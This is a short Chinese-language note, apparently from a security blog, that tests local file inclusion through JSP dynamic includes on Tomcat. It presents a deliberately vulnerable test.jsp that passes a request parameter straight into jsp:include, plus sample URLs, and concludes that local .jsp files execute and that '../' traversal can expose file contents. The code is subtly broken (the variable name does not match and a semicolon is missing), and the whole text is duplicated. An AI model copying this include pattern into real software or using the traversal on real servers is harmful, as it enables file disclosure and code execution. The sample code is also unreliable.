JSP包含文件有2种方式:
1、JSP include 伪指令,如:<%@ include file="footer.jsp" %> 这个是不可以使用变量进行动态调用?
2、jsp:include 标记,如:<jsp:include page="<%=test%>" flush="true"/> 可以动态包含文件,我们测试这个。
测试代码:Apache Tomcat/5.5.4 win2000
test.jsp
<%
String body = request.getParameter("test")
%>
<jsp:include page="<%=test%>" flush="true"/>
hi.jsp
<%
out.print("Hi,jeck");
%>
我们提交:
http://localhost/jspshell/test.jsp?test=hi.jsp
hi.jsp成功执行输出Hi,jeck,现在我们把hi.jsp改为hi.txt,提交:
http://localhost/jspshell/test.jsp?test=hi.txt
好象什么都没有输出,我们按右键,看原代码得到hi.txt的代码,hi.txt并没有执行。
远程文件:提交http://localhost/jspshell/test.jsp?test=http://xxx/x.jsp
这个也是不行的。
总结:
jsp动态包含文件的利用方法:
1.执行本地.jsp文件 [后缀不可以为txt或其他,其他的部分没有测试:)]
2.配合../ 或../暴文件内容
3.不可以使用远程文件
参考:
http://www-128.ibm.com/developerworks/cn/java/j-jsp04293/
1、JSP include 伪指令,如:<%@ include file="footer.jsp" %> 这个是不可以使用变量进行动态调用?
2、jsp:include 标记,如:<jsp:include page="<%=test%>" flush="true"/> 可以动态包含文件,我们测试这个。
测试代码:Apache Tomcat/5.5.4 win2000
test.jsp
<%
String body = request.getParameter("test")
%>
<jsp:include page="<%=test%>" flush="true"/>
hi.jsp
<%
out.print("Hi,jeck");
%>
我们提交:
http://localhost/jspshell/test.jsp?test=hi.jsp
hi.jsp成功执行输出Hi,jeck,现在我们把hi.jsp改为hi.txt,提交:
http://localhost/jspshell/test.jsp?test=hi.txt
好象什么都没有输出,我们按右键,看原代码得到hi.txt的代码,hi.txt并没有执行。
远程文件:提交http://localhost/jspshell/test.jsp?test=http://xxx/x.jsp
这个也是不行的。
总结:
jsp动态包含文件的利用方法:
1.执行本地.jsp文件 [后缀不可以为txt或其他,其他的部分没有测试:)]
2.配合../ 或../暴文件内容
3.不可以使用远程文件
参考:
http://www-128.ibm.com/developerworks/cn/java/j-jsp04293/